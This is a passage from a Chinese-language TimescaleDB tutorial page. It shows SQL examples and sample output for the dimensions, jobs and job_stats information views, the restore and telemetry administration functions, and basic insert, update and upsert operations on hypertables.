sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"># 获取有关超表维度的信息</span><br><span class="line"><span class="comment">--Create a time and space partitioned hypertable</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> dist_table(<span class="type">time</span> timestamptz, device <span class="type">int</span>, temp <span class="type">float</span>);</span><br><span class="line"><span class="keyword">SELECT</span> create_hypertable(<span class="string">&#x27;dist_table&#x27;</span>, <span class="string">&#x27;time&#x27;</span>,  <span class="string">&#x27;device&#x27;</span>, chunk_time_interval<span class="operator">=</span><span class="operator">&gt;</span> <span class="type">INTERVAL</span> <span class="string">&#x27;7 days&#x27;</span>, number_partitions<span class="operator">=</span><span class="operator">&gt;</span><span class="number">3</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">from</span> timescaledb_information.dimensions</span><br><span class="line">  <span class="keyword">ORDER</span> <span class="keyword">BY</span> hypertable_name, dimension_number;</span><br><span class="line"></span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">1</span> ]<span class="comment">-----+-------------------------</span></span><br><span class="line">hypertable_schema <span class="operator">|</span> public</span><br><span class="line">hypertable_name   <span class="operator">|</span> dist_table</span><br><span class="line">dimension_number  <span class="operator">|</span> <span class="number">1</span></span><br><span class="line">column_name       <span class="operator">|</span> <span class="type">time</span></span><br><span class="line">column_type       <span class="operator">|</span> <span class="type">timestamp</span> <span class="keyword">with</span> <span class="type">time</span> zone</span><br><span class="line">dimension_type    <span class="operator">|</span> <span class="type">Time</span></span><br><span class="line">time_interval     <span class="operator">|</span> <span class="number">7</span> days</span><br><span class="line">integer_interval  <span class="operator">|</span> </span><br><span class="line">integer_now_func  <span class="operator">|</span> </span><br><span class="line">num_partitions    <span class="operator">|</span> </span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">2</span> ]<span class="comment">-----+-------------------------</span></span><br><span class="line">hypertable_schema <span class="operator">|</span> public</span><br><span class="line">hypertable_name   <span class="operator">|</span> dist_table</span><br><span class="line">dimension_number  <span class="operator">|</span> <span class="number">2</span></span><br><span class="line">column_name       <span class="operator">|</span> device</span><br><span class="line">column_type       <span class="operator">|</span> <span class="type">integer</span></span><br><span class="line">dimension_type    <span class="operator">|</span> Space</span><br><span class="line">time_interval     <span class="operator">|</span> </span><br><span class="line">integer_interval  <span class="operator">|</span> </span><br><span class="line">integer_now_func  <span class="operator">|</span> </span><br><span class="line">num_partitions    <span class="operator">|</span> <span class="number">2</span></span><br><span class="line"></span><br><span class="line"># 获取有关具有 <span class="number">2</span> 个基于时间的维度的超表维度的信息</span><br><span class="line"><span class="keyword">CREATE TABLE</span> hyper_2dim (a_col <span class="type">date</span>, b_col <span class="type">timestamp</span>, c_col <span class="type">integer</span>);</span><br><span class="line"><span class="keyword">SELECT</span> table_name <span class="keyword">from</span> create_hypertable(<span class="string">&#x27;hyper_2dim&#x27;</span>, <span class="string">&#x27;a_col&#x27;</span>);</span><br><span class="line"><span class="keyword">SELECT</span> add_dimension(<span class="string">&#x27;hyper_2dim&#x27;</span>, <span class="string">&#x27;b_col&#x27;</span>, chunk_time_interval<span class="operator">=</span><span class="operator">&gt;</span> <span class="string">&#x27;7 days&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> timescaledb_information.dimensions <span class="keyword">WHERE</span> hypertable_name <span class="operator">=</span> <span class="string">&#x27;hyper_2dim&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">1</span> ]<span class="comment">-----+----------------------------</span></span><br><span class="line">hypertable_schema <span class="operator">|</span> public</span><br><span class="line">hypertable_name   <span class="operator">|</span> hyper_2dim</span><br><span class="line">dimension_number  <span class="operator">|</span> <span class="number">1</span></span><br><span class="line">column_name       <span class="operator">|</span> a_col</span><br><span class="line">column_type       <span class="operator">|</span> <span class="type">date</span></span><br><span class="line">dimension_type    <span class="operator">|</span> <span class="type">Time</span></span><br><span class="line">time_interval     <span class="operator">|</span> <span class="number">7</span> days</span><br><span class="line">integer_interval  <span class="operator">|</span> </span><br><span class="line">integer_now_func  <span class="operator">|</span> </span><br><span class="line">num_partitions    <span class="operator">|</span> </span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">2</span> ]<span class="comment">-----+----------------------------</span></span><br><span class="line">hypertable_schema <span class="operator">|</span> public</span><br><span class="line">hypertable_name   <span class="operator">|</span> hyper_2dim</span><br><span class="line">dimension_number  <span class="operator">|</span> <span class="number">2</span></span><br><span class="line">column_name       <span class="operator">|</span> b_col</span><br><span class="line">column_type       <span class="operator">|</span> <span class="type">timestamp</span> <span class="keyword">without</span> <span class="type">time</span> zone</span><br><span class="line">dimension_type    <span class="operator">|</span> <span class="type">Time</span></span><br><span class="line">time_interval     <span class="operator">|</span> <span class="number">7</span> days</span><br><span class="line">integer_interval  <span class="operator">|</span> </span><br><span class="line">integer_now_func  <span class="operator">|</span> </span><br><span class="line">num_partitions    <span class="operator">|</span></span><br></pre></td></tr></table></figure><h4 id="显示有关在自动化框架中注册的所有任务的信息-timescaledb-information-jobs">显示有关在自动化框架中注册的所有任务的信息  timescaledb_information.jobs</h4><table><thead><tr><th style="text-align:left">列名</th><th style="text-align:left">类型</th><th style="text-align:left">描述</th></tr></thead><tbody><tr><td style="text-align:left"><code>job_id</code></td><td style="text-align:left">INTEGER</td><td style="text-align:left">后台作业的id</td></tr><tr><td style="text-align:left"><code>application_name</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">策略或用户定义操作的名称</td></tr><tr><td style="text-align:left"><code>schedule_interval</code></td><td style="text-align:left">INTERVAL</td><td style="text-align:left">作业运行的时间间隔</td></tr><tr><td style="text-align:left"><code>max_runtime</code></td><td style="text-align:left">INTERVAL</td><td style="text-align:left">后台工作调度程序允许作业在停止之前运行的最长时间</td></tr><tr><td style="text-align:left"><code>max_retries</code></td><td style="text-align:left">INTEGER</td><td style="text-align:left">作业失败时重试的次数</td></tr><tr><td style="text-align:left"><code>retry_period</code></td><td style="text-align:left">INTERVAL</td><td style="text-align:left">调度程序在失败的作业重试之间等待的时间量</td></tr><tr><td style="text-align:left"><code>proc_schema</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">作业执行的函数或过程的架构名称</td></tr><tr><td style="text-align:left"><code>proc_name</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">作业执行的函数或过程的名称</td></tr><tr><td style="text-align:left"><code>owner</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">作业的所有者</td></tr><tr><td style="text-align:left"><code>scheduled</code></td><td style="text-align:left">BOOLEAN</td><td style="text-align:left"></td></tr><tr><td style="text-align:left"><code>config</code></td><td style="text-align:left">JSONB</td><td style="text-align:left"></td></tr><tr><td style="text-align:left"><code>next_start</code></td><td style="text-align:left">TIMESTAMP WITH TIME ZONE</td><td style="text-align:left"></td></tr><tr><td style="text-align:left"><code>hypertable_schema</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">超表的架构名称。NULL，如果这是用户定义的操作。</td></tr><tr><td style="text-align:left"><code>hypertable_name</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">超表的表名。NULL，如果这是用户定义的操作。</td></tr></tbody></table><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line"># 获取有关任务的信息</span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> timescaledb_information.jobs;</span><br><span class="line"><span class="comment">--This shows a job associated with the refresh policy for continuous aggregates</span></span><br><span class="line">job_id            <span class="operator">|</span> <span class="number">1001</span></span><br><span class="line">application_name  <span class="operator">|</span> Refresh Continuous Aggregate Policy [<span class="number">1001</span>]</span><br><span class="line">schedule_interval <span class="operator">|</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span></span><br><span class="line">max_runtime       <span class="operator">|</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span></span><br><span class="line">max_retries       <span class="operator">|</span> <span class="number">-1</span></span><br><span class="line">retry_period      <span class="operator">|</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span></span><br><span class="line">proc_schema       <span class="operator">|</span> _timescaledb_internal</span><br><span class="line">proc_name         <span class="operator">|</span> policy_refresh_continuous_aggregate</span><br><span class="line">owner             <span class="operator">|</span> postgres</span><br><span class="line">scheduled         <span class="operator">|</span> t</span><br><span class="line">config            <span class="operator">|</span> &#123;&quot;start_offset&quot;: &quot;20 days&quot;, &quot;end_offset&quot;: &quot;10 </span><br><span class="line">days&quot;, &quot;mat_hypertable_id&quot;: <span class="number">2</span>&#125;</span><br><span class="line">next_start        <span class="operator">|</span> <span class="number">2020</span><span class="number">-10</span><span class="number">-02</span> <span class="number">12</span>:<span class="number">38</span>:<span class="number">07.014042</span><span class="number">-04</span></span><br><span class="line">hypertable_schema <span class="operator">|</span> _timescaledb_internal</span><br><span class="line">hypertable_name   <span class="operator">|</span> _materialized_hypertable_2</span><br><span class="line"></span><br><span class="line"># 查找与压缩策略相关的所有任务</span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> timescaledb_information.jobs <span class="keyword">where</span> application_name <span class="keyword">like</span> <span class="string">&#x27;Compression%&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">1</span> ]<span class="comment">-----+--------------------------------------------------</span></span><br><span class="line">job_id            <span class="operator">|</span> <span class="number">1002</span></span><br><span class="line">application_name  <span class="operator">|</span> Compression Policy [<span class="number">1002</span>]</span><br><span class="line">schedule_interval <span class="operator">|</span> <span class="number">15</span> days <span class="number">12</span>:<span class="number">00</span>:<span class="number">00</span></span><br><span class="line">max_runtime       <span class="operator">|</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span></span><br><span class="line">max_retries       <span class="operator">|</span> <span class="number">-1</span></span><br><span class="line">retry_period      <span class="operator">|</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span></span><br><span class="line">proc_schema       <span class="operator">|</span> _timescaledb_internal</span><br><span class="line">proc_name         <span class="operator">|</span> policy_compression</span><br><span class="line">owner             <span class="operator">|</span> postgres</span><br><span class="line">scheduled         <span class="operator">|</span> t</span><br><span class="line">config            <span class="operator">|</span> &#123;&quot;hypertable_id&quot;: <span class="number">3</span>, &quot;compress_after&quot;: &quot;60 days&quot;&#125;</span><br><span class="line">next_start        <span class="operator">|</span> <span class="number">2020</span><span class="number">-10</span><span class="number">-18</span> <span class="number">01</span>:<span class="number">31</span>:<span class="number">40.493764</span><span class="number">-04</span></span><br><span class="line">hypertable_schema <span class="operator">|</span> public</span><br><span class="line">hypertable_name   <span class="operator">|</span> conditions</span><br><span class="line"></span><br><span class="line"># 查找由用户定义的操作执行的任务</span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> timescaledb_information.jobs <span class="keyword">where</span> application_name <span class="keyword">like</span> <span class="string">&#x27;User-Define%&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">1</span> ]<span class="comment">-----+------------------------------</span></span><br><span class="line">job_id            <span class="operator">|</span> <span class="number">1003</span></span><br><span class="line">application_name  <span class="operator">|</span> <span class="keyword">User</span><span class="operator">-</span>Defined Action [<span class="number">1003</span>]</span><br><span class="line">schedule_interval <span class="operator">|</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span></span><br><span class="line">max_runtime       <span class="operator">|</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span></span><br><span class="line">max_retries       <span class="operator">|</span> <span class="number">-1</span></span><br><span class="line">retry_period      <span class="operator">|</span> <span class="number">00</span>:<span class="number">05</span>:<span class="number">00</span></span><br><span class="line">proc_schema       <span class="operator">|</span> public</span><br><span class="line">proc_name         <span class="operator">|</span> custom_aggregation_func</span><br><span class="line">owner             <span class="operator">|</span> postgres</span><br><span class="line">scheduled         <span class="operator">|</span> t</span><br><span class="line">config            <span class="operator">|</span> &#123;&quot;type&quot;: &quot;function&quot;&#125;</span><br><span class="line">next_start        <span class="operator">|</span> <span class="number">2020</span><span class="number">-10</span><span class="number">-02</span> <span class="number">14</span>:<span class="number">45</span>:<span class="number">33.339885</span><span class="number">-04</span></span><br><span class="line">hypertable_schema <span class="operator">|</span> </span><br><span class="line">hypertable_name   <span class="operator">|</span> </span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">2</span> ]<span class="comment">-----+------------------------------</span></span><br><span class="line">job_id            <span class="operator">|</span> <span class="number">1004</span></span><br><span class="line">application_name  <span class="operator">|</span> <span class="keyword">User</span><span class="operator">-</span>Defined Action [<span class="number">1004</span>]</span><br><span class="line">schedule_interval <span class="operator">|</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span></span><br><span class="line">max_runtime       <span class="operator">|</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00</span></span><br><span class="line">max_retries       <span class="operator">|</span> <span class="number">-1</span></span><br><span class="line">retry_period      <span class="operator">|</span> <span class="number">00</span>:<span class="number">05</span>:<span class="number">00</span></span><br><span class="line">proc_schema       <span class="operator">|</span> public</span><br><span class="line">proc_name         <span class="operator">|</span> custom_retention_func</span><br><span class="line">owner             <span class="operator">|</span> postgres</span><br><span class="line">scheduled         <span class="operator">|</span> t</span><br><span class="line">config            <span class="operator">|</span> &#123;&quot;type&quot;: &quot;function&quot;&#125;</span><br><span class="line">next_start        <span class="operator">|</span> <span class="number">2020</span><span class="number">-10</span><span class="number">-02</span> <span class="number">14</span>:<span class="number">45</span>:<span class="number">33.353733</span><span class="number">-04</span></span><br><span class="line">hypertable_schema <span class="operator">|</span> </span><br><span class="line">hypertable_name   <span class="operator">|</span></span><br></pre></td></tr></table></figure><h4 id="显示有关自动化框架运行的作业的信息和统计信息-timescaledb-information-job-stats">显示有关自动化框架运行的作业的信息和统计信息 timescaledb_information.job_stats</h4><p>显示有关自动化框架运行的任务的信息和统计信息。这包括为用户定义的操作设置的任务和由为管理数据保留、连续聚合、压缩和其他自动化策略而创建的策略运行的任务。统计信息包括对管理任务和确定它们是否应该重新安排有用的信息，例如：用于实施策略的后台任务何时以及是否成功，以及何时安排下一次运行。</p><table><thead><tr><th style="text-align:left">列名</th><th style="text-align:left">类型</th><th style="text-align:left">描述</th></tr></thead><tbody><tr><td style="text-align:left"><code>hypertable_schema</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">超表的架构名称</td></tr><tr><td style="text-align:left"><code>hypertable_name</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">超表的表名</td></tr><tr><td style="text-align:left"><code>job_id</code></td><td style="text-align:left">INTEGER</td><td style="text-align:left">为实现策略而创建的后台作业的 ID</td></tr><tr><td style="text-align:left"><code>last_run_started_at</code></td><td style="text-align:left">TIMESTAMP WITH TIME ZONE</td><td style="text-align:left">上次作业的开始时间</td></tr><tr><td style="text-align:left"><code>last_successful_finish</code></td><td style="text-align:left">TIMESTAMP WITH TIME ZONE</td><td style="text-align:left">作业成功完成的时间</td></tr><tr><td style="text-align:left"><code>last_run_status</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">上次运行是成功还是失败</td></tr><tr><td style="text-align:left"><code>job_status</code></td><td style="text-align:left">TEXT</td><td style="text-align:left">工作状态。有效值为“正在运行”、“已安排”和“已暂停”</td></tr><tr><td style="text-align:left"><code>last_run_duration</code></td><td style="text-align:left">INTERVAL</td><td style="text-align:left">作业上次运行的持续时间</td></tr><tr><td style="text-align:left"><code>next_scheduled_run</code></td><td style="text-align:left">TIMESTAMP WITH TIME ZONE</td><td style="text-align:left">下一次运行的开始时间</td></tr><tr><td style="text-align:left"><code>total_runs</code></td><td style="text-align:left">BIGINT</td><td style="text-align:left">此作业的总运行次数</td></tr><tr><td style="text-align:left"><code>total_successes</code></td><td style="text-align:left">BIGINT</td><td style="text-align:left">此作业成功的总次数</td></tr><tr><td style="text-align:left"><code>total_failures</code></td><td style="text-align:left">BIGINT</td><td style="text-align:left">此作业失败的总次数</td></tr></tbody></table><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"># 获取特定超表的任务成功<span class="operator">/</span>失败信息</span><br><span class="line"><span class="keyword">SELECT</span> job_id, total_runs, total_failures, total_successes </span><br><span class="line">  <span class="keyword">FROM</span> timescaledb_information.job_stats</span><br><span class="line">  <span class="keyword">WHERE</span> hypertable_name <span class="operator">=</span> <span class="string">&#x27;test_table&#x27;</span>;</span><br><span class="line"></span><br><span class="line"> job_id <span class="operator">|</span> total_runs <span class="operator">|</span> total_failures <span class="operator">|</span> total_successes </span><br><span class="line"><span class="comment">--------+------------+----------------+-----------------</span></span><br><span class="line">   <span class="number">1001</span> <span class="operator">|</span>          <span class="number">1</span> <span class="operator">|</span>              <span class="number">0</span> <span class="operator">|</span>               <span class="number">1</span></span><br><span class="line">   <span class="number">1004</span> <span class="operator">|</span>          <span class="number">1</span> <span class="operator">|</span>              <span class="number">0</span> <span class="operator">|</span>               <span class="number">1</span></span><br><span class="line">(<span class="number">2</span> <span class="keyword">rows</span>)</span><br><span class="line"></span><br><span class="line"># 获取有关连续聚合策略相关统计信息的信息</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span>  js.<span class="operator">*</span> <span class="keyword">FROM</span></span><br><span class="line">  timescaledb_information.job_stats js, timescaledb_information.continuous_aggregates cagg</span><br><span class="line">  <span class="keyword">WHERE</span> cagg.view_name <span class="operator">=</span> <span class="string">&#x27;max_mat_view_timestamp&#x27;</span> </span><br><span class="line">  <span class="keyword">and</span> cagg.materialization_hypertable_name <span class="operator">=</span> js.hypertable_name;</span><br><span class="line"></span><br><span class="line"><span class="operator">-</span>[ RECORD <span class="number">1</span> ]<span class="comment">----------+------------------------------</span></span><br><span class="line">hypertable_schema      <span class="operator">|</span> _timescaledb_internal</span><br><span class="line">hypertable_name        <span class="operator">|</span> _materialized_hypertable_2</span><br><span class="line">job_id                 <span class="operator">|</span> <span class="number">1001</span></span><br><span class="line">last_run_started_at    <span class="operator">|</span> <span class="number">2020</span><span class="number">-10</span><span class="number">-02</span> <span class="number">09</span>:<span class="number">38</span>:<span class="number">06.871953</span><span class="number">-04</span></span><br><span class="line">last_successful_finish <span class="operator">|</span> <span class="number">2020</span><span class="number">-10</span><span class="number">-02</span> <span class="number">09</span>:<span class="number">38</span>:<span class="number">06.932675</span><span class="number">-04</span></span><br><span class="line">last_run_status        <span class="operator">|</span> Success</span><br><span class="line">job_status             <span class="operator">|</span> Scheduled</span><br><span class="line">last_run_duration      <span class="operator">|</span> <span class="number">00</span>:<span class="number">00</span>:<span class="number">00.060722</span></span><br><span class="line">next_scheduled_run     <span class="operator">|</span> <span class="number">2020</span><span class="number">-10</span><span class="number">-02</span> <span class="number">10</span>:<span class="number">38</span>:<span class="number">06.932675</span><span class="number">-04</span></span><br><span class="line">total_runs             <span class="operator">|</span> <span class="number">1</span></span><br><span class="line">total_successes        <span class="operator">|</span> <span class="number">1</span></span><br><span class="line">total_failures         <span class="operator">|</span> <span class="number">0</span></span><br></pre></td></tr></table></figure><h2 id="十一-管理功能">十一.管理功能</h2><h3 id="1-开始恢复数据库pg-restoretimescaledb-pre-restore">1.开始恢复数据库<code>pg_restore</code>timescaledb_pre_restore</h3><p>执行适当的操作以允许开始恢复数据库<code>pg_restore</code>。具体来说，这会将<code>timescaledb.restoring</code>GUC设置为<code>on</code>并停止任何可能一直在执行任务的后台工作人员，直到该<a href="https://docs.timescale.com/api/latest/administration/timescaledb_post_restore/"><code>timescaledb_post_restore</code></a> 功能在恢复后运行。</p><p>运行后<code>SELECT timescaledb_pre_restore()</code>必须运行该<a href="https://docs.timescale.com/api/latest/administration/timescaledb_post_restore/"><code>timescaledb_post_restore</code></a>函数才能正常使用数据库。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> timescaledb_pre_restore();</span><br></pre></td></tr></table></figure><h3 id="2-timescaledb-post-restore">2.timescaledb_post_restore()</h3><p>恢复数据库完成后执行正确的操作。具体来说，这会重置<code>timescaledb.restoring</code>GUC 并重新启动任何后台工作人员。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> timescaledb_post_restore();</span><br></pre></td></tr></table></figure><h3 id="3-查看遥测报告-get-telemetry-report">3.查看遥测报告 get_telemetry_report()</h3><p>如果启用了后台<a href="https://docs.timescale.com/timescaledb/latest/how-to-guides/configuration/telemetry/">遥测</a>，则返回发送到我们服务器的字符串。如果遥测未启用，则输出 INFO 消息确认遥测已禁用并返回 NULL 报告。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># 如果已启用遥测，请查看遥测报告。</span><br><span class="line"><span class="keyword">SELECT</span> get_telemetry_report();</span><br><span class="line"></span><br><span class="line"># 如果遥测被禁用，请在本地查看遥测报告。</span><br><span class="line"><span class="keyword">SELECT</span> get_telemetry_report(always_display_report :<span class="operator">=</span> <span class="literal">true</span>);</span><br></pre></td></tr></table></figure><h3 id="4-转储timescaledb执行日志">4.转储timescaledb执行日志</h3><p>为了在寻求支持和报告错误时提供帮助，TimescaleDB 包含一个 SQL 脚本，该脚本输出来自内部 TimescaleDB 表的元数据以及版本信息。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># dump_file.txt在将其与错误报告或支持问题一起发送之前进行检查。</span><br><span class="line">psql [your <span class="keyword">connect</span> flags] <span class="operator">-</span>d your_timescale_db <span class="operator">&lt;</span> dump_meta_data.sql <span class="operator">&gt;</span> dumpfile.txt</span><br></pre></td></tr></table></figure><h2 id="十二-timescaledb-插入与表结构更新、数据更新">十二.timescaledb 插入与表结构更新、数据更新</h2><h3 id="1-直接使用mybatis-plus提供的api进行相关操作">1.直接使用mybatis plus提供的api进行相关操作</h3><h3 id="2-类似mysql的insert、update方法操作单表">2.类似mysql的insert、update方法操作单表</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">INSERT INTO conditions(time, location, temperature, humidity)</span><br><span class="line">  VALUES (NOW(), &#x27;office&#x27;, 70.0, 50.0);</span><br><span class="line">  </span><br><span class="line">INSERT INTO conditions</span><br><span class="line">  VALUES</span><br><span class="line">    (NOW(), &#x27;office&#x27;, 70.0, 50.0),</span><br><span class="line">    (NOW(), &#x27;basement&#x27;, 66.5, 60.0),</span><br><span class="line">    (NOW(), &#x27;garage&#x27;, 77.0, 65.2);\</span><br><span class="line"></span><br><span class="line">UPDATE conditions SET temperature = 70.2, humidity = 50.0</span><br><span class="line">  WHERE time = &#x27;2017-07-28 11:42:42.846621+00&#x27; AND location = &#x27;office&#x27;;</span><br><span class="line"></span><br><span class="line"># 修改在 10 分钟数据块中找到的所有行</span><br><span class="line">UPDATE conditions SET temperature = temperature + 0.1</span><br><span class="line">  WHERE time &gt;= &#x27;2017-07-28 11:40&#x27; AND time &lt; &#x27;2017-07-28 11:50&#x27;;</span><br><span class="line">  </span><br><span class="line"># 创建表</span><br><span class="line">CREATE TABLE conditions (</span><br><span class="line">    time        TIMESTAMPTZ       NOT NULL,</span><br><span class="line">    location    TEXT              NOT NULL,</span><br><span class="line">    temperature DOUBLE PRECISION  NULL,</span><br><span class="line">    humidity    DOUBLE PRECISION  NULL,</span><br><span class="line">    UNIQUE (time, location)</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"># 创建唯一索引</span><br><span class="line">CREATE UNIQUE INDEX on conditions (time, location);</span><br><span class="line"></span><br><span class="line"># 指定更新现有数据</span><br><span class="line">INSERT INTO conditions</span><br><span class="line">  VALUES (&#x27;2017-07-28 11:42:42.846621+00&#x27;, &#x27;office&#x27;, 70.2, 50.1)</span><br><span class="line">  ON CONFLICT (time, location) DO UPDATE</span><br><span class="line">    SET temperature = excluded.temperature,</span><br><span class="line">        humidity = excluded.humidity;</span><br></pre></td></tr></table></figure><p>唯一约束必须包括所有分区键。例如，如果表中只使用时间分区，系统要求<code>time</code>为约束的一部分：<code>UNIQUE(time)</code>，<code>UNIQUE(time, location)</code>，<code>UNIQUE(location, time)</code>等。另一方面，<code>UNIQUE(location)</code>是_not_有效的约束。</p><p>如果架构有一个额外的列<code>device</code>用作额外的分区维度，那么约束必须是<code>UNIQUE(time, device)</code>or <code>UNIQUE(time, device, location)</code>。在这种情况下，<code>UNIQUE(time, location)</code>将_不再_是一个有效的约束。</p><h3 id="3-创建连续聚合，并手动-自动-更新">3.创建连续聚合，并手动/自动 更新</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span 